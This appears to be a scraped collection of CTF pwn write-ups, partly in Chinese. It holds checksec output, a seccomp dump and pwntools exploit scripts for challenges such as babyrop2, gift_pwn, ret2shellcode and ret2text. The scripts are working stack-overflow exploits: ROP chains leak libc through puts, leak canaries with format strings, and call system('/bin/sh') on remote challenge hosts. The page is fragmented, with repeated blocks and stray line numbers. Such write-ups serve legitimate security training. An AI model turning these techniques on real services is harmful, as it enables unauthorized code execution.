[*] '/home/voyager/flag' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
❯ checksec flag [*] '/home/voyager/flag' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No
❯ checksec flag [*] '/home/voyager/flag' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No
~ via C v11.4.0-gcc via 🐍 v3.10.12
1 2 3 4 5 6 7 8 9 10
❯ seccomp-tools dump ./flag line CODE JT JF K ================================= 0000: 0x200x000x000x00000004 A = arch 0001: 0x150x000x020xc000003eif (A != ARCH_X86_64) goto 0004 0002: 0x200x000x000x00000000 A = sys_number 0003: 0x150x000x010x0000003bif (A != execve) goto 0005 0004: 0x060x000x000x00000000return KILL 0005: 0x060x000x000x7fff0000return ALLOW
1 2 3 4 5 6 7 8 9 10 11
from pwn import* #r=process("./flag") context(log_level='debug',arch='amd64', os='linux') r=remote("node5.anna.nssctf.cn",27659) addr = 0x50000 offset = 0x100 value = addr + offset
from pwn import* from LibcSearcher import* context(log_level='debug',arch='amd64', os='linux') #r=process("./flag") r=remote("node5.buuoj.cn",27047) pop_rdi=0x0000000000400713 elf=ELF("./flag") puts_plt=elf.plt["puts"] puts_got=elf.got["puts"]
r.recvuntil(b"tell me your name\n") r.sendline(b"1") r.recvuntil(b"What do you want to say to me?\n") payload=b'a'*(0x20+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(0x400636) r.sendline(payload) #gdb.attach(r) puts = u64(r.recv(6).ljust(8, b'\x00')) print(hex(puts)) #gdb.attach(r) libc=LibcSearcher("puts", puts) libc_base=puts-libc.dump("puts") system=libc_base+libc.dump('system') binsh=libc_base+libc.dump("str_bin_sh") r.recvuntil(b"tell me your name\n") r.sendline(b"1") r.recvuntil(b"What do you want to say to me?\n") payload=b'a'*(0x20+8)+p64(0x00000000004004c9)+p64(pop_rdi)+p64(binsh)+p64(system) r.sendline(payload) r.interactive() r.interactive()
❯ checksec flag [*] Checking for new versions of pwntools To disable this functionality, set the contents of /home/voyager/.cache/.pwntools-cache-3.10/update to 'never' (old way). Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide): [update] interval=never [!] An issue occurred while checking PyPI [*] You have the latest version of Pwntools (4.14.1) [*] '/home/voyager/flag' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
v2 = __readfsqword(0x28u); puts("welcome to HDctf,You can make a wish to me"); buf[(int)read(0, buf, 0x60u)] = 0; #这个意思是读入最多0x60个字节并将读入的长度x,将buf[x]设为0 puts("sorry,i can't do that"); return0; }
❯ checksec flag [*] '/home/voyager/flag' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments SHSTK: Enabled IBT: Enabled Stripped: No
~ via C v11.4.0-gcc via 🐍 v3.10.12
❯
1 2 3 4 5 6 7
from pwn import* #r=process("./flag") r=remote("node1.anna.nssctf.cn",22065) payload=b'a'*(0x310-0x4)+p64(1) r.sendline(payload) r.interactive()
[BJDCTF 2020]babyrop2
1 2 3 4 5 6 7 8 9 10 11 12 13 14
❯ checksec flag [*] '/home/voyager/flag' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
from pwn import* from LibcSearcher import* #r=process("./flag") r=remote("node4.anna.nssctf.cn",27183) elf=ELF("./flag") r.recvuntil(b"I'll give u some gift to help u!\n") payload=b"%7$p" r.sendline(payload) canary=int(r.recv(18),16) print(hex(canary)) puts_got=elf.got["puts"] puts_plt=elf.plt["puts"] rdi_ret=0x400993 ret=0x004005f9
r.recvuntil(b"ll me u story!\n") payload=b'a'*(0x20-8)+p64(canary)+p64(0)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(0x400887) r.sendline(payload) puts=u64(r.recv(7)[:6].ljust(8,b"\x00")) print(hex(puts)) libc=LibcSearcher("puts", puts) libc_base=puts-libc.dump("puts") system=libc_base+libc.dump('system') bin_sh=libc_base+libc.dump("str_bin_sh") payload=b'a'*(0x20-8)+p64(canary)+p64(0)+p64(ret)+p64(rdi_ret)+p64(bin_sh)+p64(system) r.recvuntil(b"ll me u story!\n") r.sendline(payload) r.interactive()
//glibc版本打7
[玄武杯 2025]ret2shellcode
这题有一个注意点,就是gets遇到\x0a(\n)时会结束,所以shellcode不包含\n
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
❯ checksec flag [*] '/home/voyager/flag' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments SHSTK: Enabled IBT: Enabled Stripped: No
python3 exp.py [+] Starting local process './1': pid 5853 /usr/local/lib/python3.10/dist-packages/pwnlib/tubes/tube.py:876: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout) /home/voyager/exp.py:6: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes r.recvuntil('Nice to meet you, ') [*] Switching to interactive mode flag{lllllll} [*] Got EOF while reading in interactive $
❯ checksec shell [*] '/home/voyager/shell' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
wndbg> got Filtering out read-only entries (display them with -r or --show-readonly)
State of the GOT of /home/voyager/littleof: GOT protection: Partial RELRO | Found 5 GOT entries passing the filter [0x601018] puts@GLIBC_2.2.5 -> 0x7b513f080e50 (puts) ◂— endbr64 [0x601020] __stack_chk_fail@GLIBC_2.4 -> 0x4005c6 (__stack_chk_fail@plt+6) ◂— push 1 [0x601028] printf@GLIBC_2.2.5 -> 0x7b513f0606f0 (printf) ◂— endbr64 [0x601030] read@GLIBC_2.2.5 -> 0x7b513f114850 (read) ◂— endbr64 [0x601038] setvbuf@GLIBC_2.2.5 -> 0x7b513f0815f0 (setvbuf) ◂— endbr64 pwndbg>
0000003d 0x7b513f080e50 [*] running in new terminal: ['/usr/bin/gdb', '-q', './littleof', '-p', '45586'] [DEBUG] Created script for new terminal: #!/usr/bin/python3 import os os.execve('/usr/bin/gdb', ['/usr/bin/gdb', '-q', './littleof', '-p', '45586'], os.environ) [DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/tmp/tmp2trdtcyx'] [+] Waiting for debugger: Done [*] Switching to interactive mode
❯ python3 exp.py [*] '/home/voyager/littleof' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [+] Starting local process './littleof': pid 48264 [*] running in new terminal: ['/usr/bin/gdb', '-q', './littleof', '-p', '48264'] [+] Waiting for debugger: Done 0x9c92474b4aae9d00 [*] running in new terminal: ['/usr/bin/gdb', '-q', './littleof', '-p', '48264'] [+] Waiting for debugger: Done 128605766553168 [+] There are multiple libc that meet current constraints : 0 - libc6_2.19-4ubuntu1_amd64 1 - libc-2.35-11.mga9.x86_64_2 2 - libc-2.33-5.1.i586 3 - glibc-2.28-72.el8_1.1.x86_64 4 - libc6_2.19-4ubuntu2_amd64 5 - libc-2.35-10.mga9.x86_64_2 6 - libc-2.28-72.el8_1.1.x86_64 7 - libc-2.33-5.2.i586 8 - libc-2.33-6.1.i586 9 - libc6_2.35-0ubuntu3.8_amd64
[SWPUCTF 2021 新生赛]gift_pwn
checksec
1 2 3 4 5 6 7 8 9 10 11 12 13 14
checksec flag [*] '/home/voyager/flag' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
~ via C v11.4.0-gcc via 🐍 v3.10.12
❯
exp:
1 2 3 4 5 6 7
from pwn import* #r=process("./flag") r=remote("node7.anna.nssctf.cn",29604) payload=b'a'*(0x10+8)+p64(0x4005C4) r.sendline(payload) r.interactive()
❯ checksec flag [*] '/home/voyager/flag' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
~ via C v11.4.0-gcc via 🐍 v3.10.12
❯
exp
1 2 3 4 5 6 7 8 9
from pwn import* #r=process("./flag") r=remote("node4.anna.nssctf.cn",28287) sys=0x40072A r.sendlineafter(b"name:\n",b"-1") payload=b'a'*(0x10+8)+p64(sys) r.sendline(payload) r.interactive()
整数溢出输入一个-1就好了,但是环境不太稳定,打5次才进去
[玄武杯 2025]ret2text 64
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
❯ checksec flag [*] '/home/voyager/flag' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
~ via C v11.4.0-gcc via 🐍 v3.10.12
❯
1 2 3 4 5 6
from pwn import* r=process("./flag") payload=b'a'*(0x30+8)+p64(0x40136f) r.sendlineafter(b"name\n",payload) r.interactive()